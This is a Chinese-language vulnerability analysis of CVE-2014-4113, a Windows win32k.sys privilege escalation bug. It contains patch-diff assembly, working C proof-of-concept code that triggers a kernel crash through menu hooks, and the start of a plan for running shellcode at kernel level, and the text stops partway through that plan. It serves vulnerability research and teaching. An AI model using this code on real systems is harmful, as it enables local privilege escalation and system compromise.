CVE-2014-4113 漏洞利用分析

作者:b2ahex

1. 背景介绍

win32k.sys in the kernel-mode drivers in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allows local users to gain privileges via a crafted application, as exploited in the wild in October 2014, aka “Win32k.sys Elevation of Privilege Vulnerability.”

漏洞出现在 win32k!xxxHandleMenuMessages 流程中,当该函数调用 win32k!xxxMNFindWindowFromPoint 获取一个指向 win32k!tagwnd 的指针后,没有正确的判断返回值,导致将返回的错误代码(0xFFFFFFFB)当作指针,直接使用它作为参数调用 win32k!xxxSendMessageTimeoutwin32k!tagwnd 对应的窗口发送消息,当 win32k!tagwnd 内容可控时,可以劫持RIP,实现特权提升等功能,以下分析及利用在windows 7 x64下进行。

2. 漏洞分析

对比更新了 KB3000061 补丁前后 win32k.sys 文件,在 win32k!xxxHandleMenuMessages 函数中发现新添加了一处校验函数 IsMFMWFPWindow 并怪变了后续代码流程。

补丁前:

.text:FFFFF97FFF162359 loc_FFFFF97FFF162359:   
.text:FFFFF97FFF162359 lock add cs:glSendMessage, ebx  
.text:FFFFF97FFF162360 mov r8d, [rsp+108h+arg_10] ; int  
.text:FFFFF97FFF162368 mov dword ptr [rsp+108h+var_D0], ebx  
.text:FFFFF97FFF16236C and [rsp+108h+var_D8], 0  
.text:FFFFF97FFF162372 and [rsp+108h+var_E0], 0  
.text:FFFFF97FFF162377 and dword ptr [rsp+108h+HighLimit], 0  
.text:FFFFF97FFF16237C xor r9d, r9d; int  
.text:FFFFF97FFF16237F mov edx, 1EDh   ; int  
.text:FFFFF97FFF162384 mov rcx, r12; int  
.text:FFFFF97FFF162387 call xxxSendMessageTimeout   

补丁后:

loc_FFFFF97FFF168FCF:
.text:FFFFF97FFF168FCF mov rcx, r12  
.text:FFFFF97FFF168FD2 call IsMFMWFPWindow     //新的校验函数
.text:FFFFF97FFF168FD7 xor r14d, r14d  
.text:FFFFF97FFF168FDA cmp eax, r14d    //如果 IsMFMWFPWindow 返回0,会跳过下面的xxxSendMessageTimeout 
.text:FFFFF97FFF168FDD jz  short loc_FFFFF97FFF16902E  
.text:FFFFF97FFF168FDF lock add cs:glSendMessage, ebx  
.text:FFFFF97FFF168FE6 mov r8d, [rsp+108h+arg_10] ; int  
.text:FFFFF97FFF168FEE mov dword ptr [rsp+108h+var_D0], ebx  
.text:FFFFF97FFF168FF2 mov [rsp+108h+var_D8], r14  
.text:FFFFF97FFF168FF7 xor r9d, r9d; int  
.text:FFFFF97FFF168FFA mov edx, 1EDh   ; int  
.text:FFFFF97FFF168FFF mov [rsp+108h+var_E0], r14d ; int  
.text:FFFFF97FFF169004 mov dword ptr [rsp+108h+HighLimit], r14d ; HighLimit  
.text:FFFFF97FFF169009 call xxxSendMessageTimeout  

IsMFMWFPWindow 这个函数主要功能是验证参数是否满足3个条件,只有都不满足的情况才会执行 xxxSendMessageTimeout

.text:FFFFF97FFF1275A8 ; __int64 __fastcall IsMFMWFPWindow(__int64 ret)
.text:FFFFF97FFF1275A8 test rcx, rcx
.text:FFFFF97FFF1275AB jz  short loc_FFFFF97FFF1275C7   //是否等于0
.text:FFFFF97FFF1275AD mov eax, 0FFFFFFFBh
.text:FFFFF97FFF1275B2 cmp rcx, rax
.text:FFFFF97FFF1275B5 jz  short loc_FFFFF97FFF1275C7   //是否等于0FFFFFFFBh
.text:FFFFF97FFF1275B7 mov eax, 0FFFFFFFFh
.text:FFFFF97FFF1275BC cmp rcx, rax
.text:FFFFF97FFF1275BF jz  short loc_FFFFF97FFF1275C7   //是否等于0FFFFFFFFh
.text:FFFFF97FFF1275C1 mov eax, 1
.text:FFFFF97FFF1275C6 retn

对比发现问题有可能是出现在 win32k!xxxSendMessageTimeout 函数对参数的使用中,分析未打补丁的 win32k!xxxHandleMenuMessages 上下文,查看参数的由来及到 win32k!xxxSendMessageTimeout 的执行流程:

win32k!xxxHandleMenuMessages:

.text:FFFFF97FFF1619BF cwde
.text:FFFFF97FFF1619C0 mov [rdx+10h], eax
.text:FFFFF97FFF1619C3 lea rdx, [rsp+108h+arg_10]
.text:FFFFF97FFF1619CB call xxxMNFindWindowFromPoint
      |——>    ......
            .text:FFFFF97FFF122A9F lea r8, [r11+8] ; int
            .text:FFFFF97FFF122AA3 or  edx, eax
            .text:FFFFF97FFF122AA5 movsxd  r9, edx ; int
            .text:FFFFF97FFF122AA8 mov edx, 1EBh   ; int
            .text:FFFFF97FFF122AAD call xxxSendMessageTimeout  //获取ptagwnd
            .text:FFFFF97FFF122AB2 mov rbx, rax
            .text:FFFFF97FFF122AB5 call ThreadUnlock1
            .text:FFFFF97FFF122ABA test rbx, rbx  //判断返回值是否为空
            .text:FFFFF97FFF122ABD jz  short loc_FFFFF97FFF122AE8
            .text:FFFFF97FFF122ABF cmp rbx, rdi   //判断返回值是否等于0FFFFFFFBh
            .text:FFFFF97FFF122AC2 jz  short loc_FFFFF97FFF122AD7
            .text:FFFFF97FFF122AC4 cmp rbx, r12      //判断返回值是否等于0FFFFFFFFh
            .text:FFFFF97FFF122AC7 jz  short loc_FFFFF97FFF122AD7
            .text:FFFFF97FFF122AC9 mov dl, r14b
            .text:FFFFF97FFF122ACC mov rcx, rbx
            .text:FFFFF97FFF122ACF call HMValidateHandleNoSecure  
                   |——>    ......
                    /*如果返回值(tagwnd指针)不为空,不等于0FFFFFFFBh,也不等于0FFFFFFFFh 
                    就调用 HMValidateHandleNoSecure 检查窗口对象*/
                        .text:FFFFF97FFF0CB056 mov rax, cs:gpsi
                        .text:FFFFF97FFF0CB05D movzx   ecx, di
                        .text:FFFFF97FFF0CB060 cmp rcx, [rax+8]   //对比 _THRDESKHEAD->h & 0xffff 
                        .text:FFFFF97FFF0CB064 jnb short loc_FFFFF97FFF0CB0D0
                        .text:FFFFF97FFF0CB066 mov [rsp+28h+arg_0], rbx
                        .text:FFFFF97FFF0CB06B mov ebx, cs:dword_FFFFF97FFF2DD310
                        .text:FFFFF97FFF0CB071 shr rdi, 10h
                        .text:FFFFF97FFF0CB075 imulebx, ecx
                        .text:FFFFF97FFF0CB078 add rbx, cs:qword_FFFFF97FFF2DD308
                        .text:FFFFF97FFF0CB07F cmp di, [rbx+12h]            //从 gSharedInfo->aheList 中查找比较tagwnd窗口
                        .text:FFFFF97FFF0CB083 jz  short loc_FFFFF97FFF0CB0B1
                        .text:FFFFF97FFF0CB085 mov ecx, 0FFFFh
                        .text:FFFFF97FFF0CB08A cmp di, cx
                        .text:FFFFF97FFF0CB08D jz  short loc_FFFFF97FFF0CB0B1
                        .text:FFFFF97FFF0CB08F testdi, di
                        .text:FFFFF97FFF0CB092 jnz short loc_FFFFF97FFF0CB09F
                        .text:FFFFF97FFF0CB094 callcs:__imp_PsGetCurrentProcessWow64Process
                        .text:FFFFF97FFF0CB09A testrax, rax
                        .text:FFFFF97FFF0CB09D jnz short loc_FFFFF97FFF0CB0B1
                        .text:FFFFF97FFF0CB09F xor eax, eax                //如果检查失败,将tagwnd指针清零
                        .text:FFFFF97FFF0CB0A1 mov rbx, [rsp+28h+arg_0]
                        .text:FFFFF97FFF0CB0A6 mov rsi, [rsp+28h+arg_8]
                        .text:FFFFF97FFF0CB0AB add rsp, 20h
                        .text:FFFFF97FFF0CB0AF pop rdi
                        .text:FFFFF97FFF0CB0B0 retn
            .text:FFFFF97FFF122AD4 mov rbx, rax   //覆盖返回值
            ......
.text:FFFFF97FFF1619D0 mov r14d, 0FFFFFFFBh
.text:FFFFF97FFF1619D6 mov r13d, 0FFFFFFFFh
.text:FFFFF97FFF1619DC mov r12, rax  //r12 == xxxSendMessageTimeout 返回值,就是补丁 IsMFMWFPWindow 校验的参数
......  
.text:FFFFF97FFF162305 loc_FFFFF97FFF162305:
.text:FFFFF97FFF162305 mov esi, [rsp+108h+arg_10]
.text:FFFFF97FFF16230C test r12, r12
.text:FFFFF97FFF16230F jnz short loc_FFFFF97FFF16232B   判断 r12 是否等于0,假设不满足跳走  
.text:FFFFF97FFF162311 test esi, esi
.text:FFFFF97FFF162313 jnz short loc_FFFFF97FFF16232B
.text:FFFFF97FFF162315 mov esi, [rsp+108h+var_B8]
.text:FFFFF97FFF162319 xor r9d, r9d
.text:FFFFF97FFF16231C xor r8d, r8d
.text:FFFFF97FFF16231F xor edx, edx
.text:FFFFF97FFF162321 mov rcx, rdi
.text:FFFFF97FFF162324 call xxxMNCancel
......
.text:FFFFF97FFF16232B test byte ptr [rbp+0], 2
.text:FFFFF97FFF16232F jz  short loc_FFFFF97FFF162341  //假如条件不满足,跳走
.text:FFFFF97FFF162331 cmp r12, r14
.text:FFFFF97FFF162334 jnz short loc_FFFFF97FFF162341  //假如返回值等于0FFFFFFFBh,跳走  
.text:FFFFF97FFF162336 mov rcx, rbp
.text:FFFFF97FFF162339 call xxxMNSwitchToAlternateMenu
.text:FFFFF97FFF16233E mov r12, r13
......
.text:FFFFF97FFF162341 cmp r12, r13     //这里只比较了返回值(ptagwnd)和0FFFFFFFFh,没有比较0FFFFFFFBh
.text:FFFFF97FFF162344 jnz short loc_FFFFF97FFF162359
.text:FFFFF97FFF162346 mov r9d, ebx
.text:FFFFF97FFF162349 mov r8d, esi
.text:FFFFF97FFF16234C mov rdx, rdi
.text:FFFFF97FFF16234F mov rcx, rbp
.text:FFFFF97FFF162352 callxxxMNButtonDown
.text:FFFFF97FFF162357 jmp short loc_FFFFF97FFF16238C
.text:FFFFF97FFF162359 ; ---------------------------------------------------------------------------
.text:FFFFF97FFF162359 lock add cs:glSendMessage, ebx
.text:FFFFF97FFF162360 mov r8d, [rsp+108h+arg_10] ; int
.text:FFFFF97FFF162368 mov dword ptr [rsp+108h+var_D0], ebx
.text:FFFFF97FFF16236C and [rsp+108h+var_D8], 0
.text:FFFFF97FFF162372 and [rsp+108h+var_E0], 0
.text:FFFFF97FFF162377 and dword ptr [rsp+108h+HighLimit], 0
.text:FFFFF97FFF16237C xor r9d, r9d; int
.text:FFFFF97FFF16237F mov edx, 1EDh   ; int
.text:FFFFF97FFF162384 mov rcx, r12; int
.text:FFFFF97FFF162387 call xxxSendMessageTimeout  //所以如果参数等于 0xFFFFFFFB 就有可能成功执行 xxxSendMessageTimeout   

参数由来:调用 win32k!xxxMNFindWindowFromPoint –> win32k!xxxSendMessageTimeout (0x1EB == MN_FINDMENUWINDOWFROMPOINT) 得到菜单窗口的指针,对应的内核结构体应该是 win32k!tagwnd (每个窗口在内核中对应一个tagwnd对象)

通过对这个函数的分析发现,在使用 win32k!xxxMNFindWindowFromPoint(0x1EB) 获取窗口对象后, 如果 xxxSendMessageTimeout 返回的是0xFFFFFFFB,将有可能绕过所有的返回值验证,而 win32k!xxxSendMessageTimeout 会把它当作一个窗口对象的指针作为参数使用,最终访问异常的内存。

3. 生成POC

对比微软公告和漏洞补丁,发现问题应该出自于 win32k!xxxHandleMenuMessages ,IDA中xrefs几层后,发现问题可由内核中 win32k!xxxTrackPopupMenuEx 函数复现,一般根据经验它的用户层接口就是 TrackPopupMenu 可以去msdn中搜索详细信息,或者通过符号文件搜索相关信息,由于win32k提供的系统服务调用一般来自USER32模块和GDI32模块,windbg中通过x命令可以得到信息:

x user32! *TrackPopupMenu*
00000000`77a70c60 user32!TrackPopupMenu

TrackPopupMenu 调用,MSDN中描述如下:

TrackPopupMenu function
Displays a shortcut menu at the specified location and tracks the selection of items on the menu. The shortcut menu can appear anywhere on the screen.
https://msdn.microsoft.com/en-us/library/windows/desktop/ms648002(v=vs.85).aspx.aspx)

在指定的位置创建快捷菜单,并等待用户选择。

接着根据这个函数的参数构造代码,参数需要2个句柄,快捷菜单窗口创建完后要加入菜单项,否则会调用失败,如果调用成功,进程会堵塞住等待选择结果。

LRESULT CALLBACK WinSunProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
    return DefWindowProc(hwnd, uMsg, wParam, lParam);
}

HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASS wndcls = { 0 };
wndcls.hInstance = hInstance;
wndcls.lpfnWndProc = WinSunProc;
wndcls.lpszClassName = "CVE-2014-4113";

RegisterClassA(&wndcls);
HWND hwnd = CreateWindowA(
wndcls.lpszClassName, "CVE-2014-4113", WS_OVERLAPPEDWINDOW, 0, 0, 800, 800, NULL, NULL, wndcls.hInstance, NULL);

HMENU demo = CreatePopupMenu();
AppendMenu(demo, MF_STRING, 0, "BSOD!"); //菜单项不能为空,否则返回失败
/*参数需要两个句柄,通过 CreateWindow 和 CreatePopupMenu 实现*/
TrackPopupMenu(demo, 0, 0, 0, 0, hwnd, 0); 

将编译好的程序放进双机调试的虚拟机中,windbg 给刚刚获取 ptagwnd 的地方(.text:FFFFF97FFF1619CB call xxxMNFindWindowFromPoint)下硬件断点:

ba e1 win32k!xxxHandleMenuMessages+bb

直接运行程序发现并没有断下来(一般来说肯定没那么顺利..),那再观察下 win32k!xxxHandleMenuMessages 看看是哪里条件不满足给跳走了,为了方便分析,首先要定位下这个函数里的重要结构体,通过分析win32k的符号文件,对比函数中结构体的偏移,发现 win32k!xxxHandleMenuMessages 的第一个参数应该是一个 _tagMSG 类型的指针,第三个参数应该是 _tagPOPUPMENU 类型的指针,从符号文件中找到结构体定义如下:

_tagMSG:

          typedef struct _tagMSG            // 6 elements, 0x30 bytes (sizeof) 
          {                                                                    
/*0x000*/     struct _HWND__* hwnd;                                            
/*0x008*/     UINT32       message;                                            
/*0x00C*/     UINT8        _PADDING0_[0x4];                                    
/*0x010*/     UINT64       wParam;                                             
/*0x018*/     INT64        lParam;                                             
/*0x020*/     ULONG32      time;                                               
/*0x024*/     struct _tagPOINT pt;          // 2 elements, 0x8 bytes (sizeof)  
/*0x02C*/     UINT8        _PADDING1_[0x4];                                    
          }tagMSG, *PtagMSG;                                       

_tagPOPUPMENU:

          typedef struct _tagPOPUPMENU                // 36 elements, 0x58 bytes (sizeof) 
          {                                                                               
              struct                                  // 25 elements, 0x4 bytes (sizeof)  
              {                                                                           
/*0x000*/         ULONG32      fIsMenuBar : 1;        // 0 BitPosition                    
/*0x000*/         ULONG32      fHasMenuBar : 1;       // 1 BitPosition                    
/*0x000*/         ULONG32      fIsSysMenu : 1;        // 2 BitPosition                    
/*0x000*/         ULONG32      fIsTrackPopup : 1;     // 3 BitPosition                    
/*0x000*/         ULONG32      fDroppedLeft : 1;      // 4 BitPosition                    
/*0x000*/         ULONG32      fHierarchyDropped : 1; // 5 BitPosition                    
/*0x000*/         ULONG32      fRightButton : 1;      // 6 BitPosition                    
/*0x000*/         ULONG32      fToggle : 1;           // 7 BitPosition                    
/*0x000*/         ULONG32      fSynchronous : 1;      // 8 BitPosition                    
/*0x000*/         ULONG32      fFirstClick : 1;       // 9 BitPosition                    
/*0x000*/         ULONG32      fDropNextPopup : 1;    // 10 BitPosition                   
/*0x000*/         ULONG32      fNoNotify : 1;         // 11 BitPosition                   
/*0x000*/         ULONG32      fAboutToHide : 1;      // 12 BitPosition                   
/*0x000*/         ULONG32      fShowTimer : 1;        // 13 BitPosition                   
/*0x000*/         ULONG32      fHideTimer : 1;        // 14 BitPosition                   
/*0x000*/         ULONG32      fDestroyed : 1;        // 15 BitPosition                   
/*0x000*/         ULONG32      fDelayedFree : 1;      // 16 BitPosition                   
/*0x000*/         ULONG32      fFlushDelayedFree : 1; // 17 BitPosition                   
/*0x000*/         ULONG32      fFreed : 1;            // 18 BitPosition                   
/*0x000*/         ULONG32      fInCancel : 1;         // 19 BitPosition                   
/*0x000*/         ULONG32      fTrackMouseEvent : 1;  // 20 BitPosition                   
/*0x000*/         ULONG32      fSendUninit : 1;       // 21 BitPosition                   
/*0x000*/         ULONG32      fRtoL : 1;             // 22 BitPosition                   
/*0x000*/         ULONG32      iDropDir : 5;          // 23 BitPosition                   
/*0x000*/         ULONG32      fUseMonitorRect : 1;   // 28 BitPosition                   
              };                                                                          
/*0x008*/     struct _tagWND* spwndNotify;                                                
/*0x010*/     struct _tagWND* spwndPopupMenu;                                             
/*0x018*/     struct _tagWND* spwndNextPopup;                                             
/*0x020*/     struct _tagWND* spwndPrevPopup;                                             
/*0x028*/     struct _tagMENU* spmenu;                                                    
/*0x030*/     struct _tagMENU* spmenuAlternate;                                           
/*0x038*/     struct _tagWND* spwndActivePopup;                                           
/*0x040*/     struct _tagPOPUPMENU* ppopupmenuRoot;                                       
/*0x048*/     struct _tagPOPUPMENU* ppmDelayedFree;                                       
/*0x050*/     UINT32       posSelectedItem;                                               
/*0x054*/     UINT32       posDropped;                                                    
          }tagPOPUPMENU, *PtagPOPUPMENU;        

函数流程中会比较 message ,对于不同的 message 做不同的处理,xrefs找一个能跳过去的地方:

.text:FFFFF97FFF161FBA loc_FFFFF97FFF161FBA:
.text:FFFFF97FFF161FBA                 mov     ecx, eax
.text:FFFFF97FFF161FBC                 sub     ecx, 203h
.text:FFFFF97FFF161FC2                 jz      loc_FFFFF97FFF1623B2
.text:FFFFF97FFF161FC8                 sub     ecx, ebx
.text:FFFFF97FFF161FCA                 jz      loc_FFFFF97FFF16199D   //构造合适的消息走到这里,比如 0x204(516)

.text:FFFFF97FFF16199D loc_FFFFF97FFF16199D:
.text:FFFFF97FFF16199D                 test    byte ptr [r8], 40h  //这里要包含 0x40,一会看看这代表什么,只要这里不跳转就ok
.text:FFFFF97FFF1619A1                 jz      loc_FFFFF97FFF161FDC
.text:FFFFF97FFF1619A7 loc_FFFFF97FFF1619A7:                 
.text:FFFFF97FFF1619A7                 or      dword ptr [rdx+14h], 0FFFFFFFFh
.text:FFFFF97FFF1619AB                 movsx   eax, r9w
.text:FFFFF97FFF1619AF                 mov     r8d, r9d
.text:FFFFF97FFF1619B2                 mov     [rdx+0Ch], eax
.text:FFFFF97FFF1619B5                 mov     rax, r9
.text:FFFFF97FFF1619B8                 mov     rcx, rbp
.text:FFFFF97FFF1619BB                 shr     rax, 10h
.text:FFFFF97FFF1619BF                 cwde
.text:FFFFF97FFF1619C0                 mov     [rdx+10h], eax
.text:FFFFF97FFF1619C3                 lea     rdx, [rsp+108h+allocsize]
.text:FFFFF97FFF1619CB                 call    xxxMNFindWindowFromPoint  //这里通过发送0x1eb消息,获取 tagwnd 的指针,  
只要返回 0xfffffffb 就可以触发漏洞,下面对该返回值的访问会造成异常  

函数大体执行流程如下:

    ......暂时不关心
  if ( message <= 0x104 ) 
  {
    ......暂时不关心
  }
  if ( message > 0x202 )  
  {
     ......暂时不关心
    if ( message == 0x204 )  //WM_RBUTTONDOWN
    {
LABEL_12:
      if ( ptagPOPUPMENU->flag & 0x40 )  //是否包含 fRightButton Flag
        goto LABEL_13; 走到这里就行
    }
  }

LABEL_13:  // 要让程序执行过来
......
  ptagWND = xxxMNFindWindowFromPoint(a3, &v84, v8); 
......

r8等于 tagPOPUPMENU 指针,40h 的2进制表示为 ‭01000000‬ ,这里判断第一个字节是否含有 fRightButton 标志位,在msdn中查阅 POPUPMENU 资料,看名字估计就是 TPM_RIGHTBUTTON flag,所以在代码中指定下这个flag:

TrackPopupMenu(demo, TPM_RIGHTBUTTON, 0, 0, 0, hwnd, 0);

根据上面的分析 message == 0x204 时,代码可以走到这里,所以在出现窗口后,右键点击菜单窗口
,成功断在 win32k!xxxMNFindWindowFromPoint , 继续给函数内的 call xxxSendMessageTimeout 下断,但是没有断下来 , 继续跟进这个函数分析原因:

.text:FFFFF97FFF122A10 ; signed __int64 __fastcall xxxMNFindWindowFromPoint
.text:FFFFF97FFF122A10
.text:FFFFF97FFF122A10 var_78          = qword ptr -78h
.text:FFFFF97FFF122A10 var_70          = dword ptr -70h
.text:FFFFF97FFF122A10 arg_0           = dword ptr  8
.text:FFFFF97FFF122A10 arg_8           = qword ptr  10h
.text:FFFFF97FFF122A10 arg_10          = dword ptr  18h
.text:FFFFF97FFF122A10
.text:FFFFF97FFF122A10                 mov     r11, rsp
.text:FFFFF97FFF122A13                 mov     [r11+18h], r8d
.text:FFFFF97FFF122A17                 push    rbx
.text:FFFFF97FFF122A18                 push    rbp
.text:FFFFF97FFF122A19                 push    rsi
.text:FFFFF97FFF122A1A                 push    rdi
.text:FFFFF97FFF122A1B                 push    r12
.text:FFFFF97FFF122A1D                 push    r13
.text:FFFFF97FFF122A1F                 push    r14
.text:FFFFF97FFF122A21                 sub     rsp, 60h
.text:FFFFF97FFF122A25                 and     dword ptr [rdx], 0
.text:FFFFF97FFF122A28                 mov     rbp, rcx
.text:FFFFF97FFF122A2B                 mov     rcx, [rcx+18h] // _tagPOPUPMENU + 0x18 的位置 == _tagWND* spwndNextPopup; 
.text:FFFFF97FFF122A2F                 mov     r13, rdx
.text:FFFFF97FFF122A32                 mov     edi, 0FFFFFFFBh
.text:FFFFF97FFF122A37                 mov     r14d, 1
.text:FFFFF97FFF122A3D                 mov     r12d, 0FFFFFFFFh
.text:FFFFF97FFF122A43                 test    rcx, rcx
.text:FFFFF97FFF122A46                 jz      loc_FFFFF97FFF122AF0 如果 spwndNextPopup 为空就跳走,不会发送消息

由于 win32k!xxxMNFindWindowFromPoint 验证当前_tagPOPUPMENU对象的 spwndNextPopup指针(其实就是检查它下一个PopupMenu窗口的指针),如果指针为0,就跳走不发送消息,所以需要再创建一个PopupMenu的菜单项。

HMENU popup_menu1 = CreatePopupMenu();  
HMENU popup_menu2 = CreatePopupMenu();        //这里还需要一个 PopupMenu
AppendMenu(popup_menu2, MF_STRING, 0, 0);    //给 新PopupMenu随便添加个菜单项 (不能没有菜单项)

AppendMenu(popup_menu1, MF_STRING | MF_POPUP, (UINT_PTR)popup_menu2,"BSOD");  //将 popup_menu2 设置为 popup_menu1 的菜单项

BOOL ret = TrackPopupMenu(popup_menu1, TPM_RIGHTBUTTON, 0, 0, 0, hwnd, 0);

编译好代码运行到这里后你会发现,这个指针依然为0,因为 popup_menu2 的窗口没有创建,所以 它的 _tagWND 指针肯定为空,tagwnd窗口对象在CreateWindow中创建.

这时候点一下 第一个 PopupMenu(BSOD)窗口,就会弹出 popup_menu2 的窗口,spwndNextPopup就有内容了,同时 xxxSendMessageTimeout 顺利执行,就像之前分析的,假如这时它返回 0XFFFFFFFB ,就会引发BSOD.

简单分析下 win32k!xxxSendMessageTimeout 流程 :

int __fastcall xxxSendMessageTimeout(...)
{  
  if ( ptagWND != -1 )
  {
    // 跳过 DDE 消息                                   
    // #define WM_INTERNAL_DDE__reserved_3e1 0x3e1
    // #define WM_INTERNAL_DDE__reserved_3e8 0x3e8

    if ( gptiCurrent != ptagWND->head->pti )     //判断发送的窗口是否属于当前线程 
    {
      if ( ptagWND->head->pti->xxxx->Header->Type & 1 ) 
      {  
        LODWORD(v13) = xxxDefWindowProc(ptagWND, uMsg, v10, v9); 
        return v13;
      }
      ......
      LODWORD(v13) = xxxInterSendMsgEx(ptagWND, uMsg, v10, v9);  
      return v13;
    }
    if ( (gptiCurren->fsHooks | gptiCurrent ->pDeskInfo->fsHooks) & 0x20 ) //检测是否安装了hook
    {                                          
      .....
      xxxCallHook(0i64, 0i64, (__int64)&v26, 4u);  // 如果存在hook标识,就去调用用户层注册的 hook 函数
    }
    if (ptagWND->bServerSideWindowProc)       //检查当前窗口对象 bServerSideWindowProc 是否有该标志位,  
    是否允许内核执行窗口过程,只有使用windows默认的回调的窗口才含有这个标志 
    {
      ......
      LODWORD(v13) = ptagwnd->lpfnWndProc(ptagwnd, uMsg, v10, v9); //内核模式下执行 lpfnWndProc 窗口过程
    }
    else
    {
      xxxSendMessageToClient(ptagwnd, uMsg, v10, v9);  //对目标窗口发送消息
        if ( uMsg - 0x240 > 0xF )
        {
          if ( uMsg == 0x119 )
            FreeGestureInfo(v10, 1i64);
        }
        else
        {
          FreeTouchInputInfo(v10, 1i64);
        }
        if ( !hi32 )
        {
          LODWORD(v14) = v22;
          return v14;
        }
        *(_QWORD *)hi32 = v22;
      }
      LODWORD(v14) = 1;
      return v14;
    }
    LODWORD(v13) = 1;
    return v13;
  }
  if ( hi32 )
  {
    v27 = hi32;
    v26 = __PAIR__(a6, (unsigned int)HighLimit);
  }
  LODWORD(v13) = xxxBroadcastMessage(0i64, message, a3, a4);
  return v13;
}

注意看前后顺序,上面的代码中首先检测pti是否相同,接着如果检测到对方线程有设置 fshook 将会优先调用在用户层注册的 hook 函数,这给了我们一个中途回用户层的机会,当执行完hook函数再次返回到内核时,会马上执行 xxxSendMessageToClient 对目标窗口发送消息,接下来将通过 User Mode Callbacks 机制攻击 win32k!xxxSendMessageTimeout 目标快捷菜单窗口 , 思路如下:

首先在r3层设置全局hook通过fsHooks检查,在hook函数中判断是否是0x1EB的消息,如果是该消息就修改目标窗口的过程函数,让这个新的窗口函数返回0`FFFFFFFB,因为hook函数执行完后回到内核马上就会往这个窗口发消息,由于后面的代码没有对这个返回值进行处理,所以最终 xxxSendMessageTimeout 会将它作为一个tagwnd对象的指针,当对其访问时就会引发异常。

现在总结下需要在代码中更新的部分:
1.确保由窗口过程执行执行消息发送 (gptiCurrent == ptagWND->head->pti)
条件已满足

2.添加 消息hook函数(增加 fsHooks 标识)
SetWindowsHookEx 函数可以满足

3.在0x1EB消息发送后修改快捷菜单的窗口过程(ptagwnd->lpfnWndProc),并在新的窗口过程函数中返回0xFFFFFFFB
HOOK CallBacks + SetWindowLongPtr 可以满足

下面更新poc代码:

LRESULT CALLBACK NewMenuProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
    if (uMsg == 0x1eb)                
    {
        return 0x00000000fffffffb;  //触发漏洞
    }
    return DefWindowProc(hwnd, uMsg, wParam, lParam);
}

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) 
{
    CWPSTRUCT *ptag = (CWPSTRUCT*)lParam;
    if (ptag->message == 0x1eb) 
    {
        SetWindowLongPtr(ptag->hwnd, GWLP_WNDPROC, (LONG_PTR)NewMenuProc); //替换菜单窗口过程,等会儿win32k会对菜单窗口发消息
    }
    return CallNextHookEx(0, code, wParam, lParam);
}

    SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId()); //设置hook域

将程序放进虚拟机,下断点:

ba e1 win32k!xxxHandleMenuMessages+0x6ac ".if @ecx = 0x204 {.echo ########## WM_RBUTTONDOWN #########} .else{gc}"  

运行程序后,右键点击菜单窗口,成功断下:

kd> g
########## WM_RBUTTONDOWN #########
win32k!xxxHandleMenuMessages+0x6ac:
fffff960`001a1fbc 81e903020000    sub     ecx,203h

接着下断点检查 win32k!xxxSendMessageTimeout 返回值:

ba e1 win32k!xxxMNFindWindowFromPoint+0xa2  

kd> g
win32k!xxxMNFindWindowFromPoint+0xa2:
fffff960`00162ab2 488bd8          mov     rbx,rax
kd> r rax
rax=00000000fffffffb

再次运行后,系统崩溃:

FAULTING_IP: 
win32k!xxxSendMessageTimeout+136
fffff960`0010a46a 483b5510        cmp     rdx,qword ptr [rbp+10h]

CONTEXT:  fffff88004c58d00 -- (.cxr 0xfffff88004c58d00)
rax=00000000fffffe0d rbx=0000000000000000 rcx=00000000fffffffb
rdx=fffff900c2eefc30 rsi=00000000000001ed rdi=0000000000000000
rip=fffff9600010a46a rsp=fffff88004c596e0 rbp=00000000fffffffb
 r8=000000000018f7f8  r9=0000000000000000 r10=fffff900c2eefc30
r11=fffff88004c596c0 r12=0000000000000000 r13=0000000000000000
r14=000000000018f7f8 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
win32k!xxxSendMessageTimeout+0x136:
fffff960`0010a46a 483b5510        cmp     rdx,qword ptr [rbp+10h] ss:0018:00000001`0000000b=????????????????

poc : https://github.com/B2AHEX/cveXXXX/blob/master/CVE-2014-4113/poc.cpp

4. EXPLOIT

在分析过 win32k!xxxSendMessageTimeout 之后,可以注意到窗口过程函数除了运行在用户层之外,如果含有 bServerSideWindowProc, win32k模块会直接调用它的窗口过程函数.

if (ptagWND->bServerSideWindowProc)       //检查当前窗口对象的 bServerSideWindowProc 标志位
    {
      ......
      LODWORD(v13) = ptagwnd->lpfnWndProc(ptagwnd, uMsg, v10, v9); //内核模式下执行 lpfnWndProc 窗口过程
    }

这里是一个可以被利用的地方,由于这个tagwnd对象的基址是我们通过漏洞构造的0x0`FFFFFFFB,lpfnWndProc 函数指针位于基址加偏移0x90的位置(win7x64下),所以只要覆盖这个指针,让它指向shellcode地址(win7下不考虑SMAP/SMEP),那么在最后漏洞触发时就有可能实现r0运行r3代码。

观察在上面给出的代码(上一节),要在 win32k!xxxSendMessageTimeout 中直接运行用户层的shellcode主要有以下几个条件:

  1. gptiCurrent == ptagWND->head->pti
  2. ptagWND->bServerSideWindowProc != 0
  3. ptagwnd->lpfnWndProc == shellcode

当基址位于 0x0`FFFFFFFB 之后,计算他们的地址位于:

kd> dt win32k!tagwnd /r
   +0x000 head             : _THRDESKHEAD
      +0x000 h                : Ptr64 Void
      +0x008 cLockObj         : Uint4B
      +0x010 pti              : Ptr64 tagTHREADINFO <----- 0x0`FFFFFFFB + 0x10 == = 00000001`0000000b
      +0x018 rpdesk           : Ptr64 tagDESKTOP
      +0x020 pSelf            : Ptr64 UChar
   +0x028 state            : Uint4B
   +0x028 bHasMeun         : Pos 0, 1 Bit
   +0x028 bHasVerticalScrollbar : Pos 1, 1 Bit
   +0x028 bHasHorizontalScrollbar : Pos 2, 1 Bit
   +0x028 bHasCaption      : Pos 3, 1 Bit
   +0x028 bSendSizeMoveMsgs : Pos 4, 1 Bit
   +0x028 bMsgBox          : Pos 5, 1 Bit
   +0x028 bActiveFrame     : Pos 6, 1 Bit
   +0x028 bHasSPB          : Pos 7, 1 Bit
   +0x028 bNoNCPaint       : Pos 8, 1 Bit 
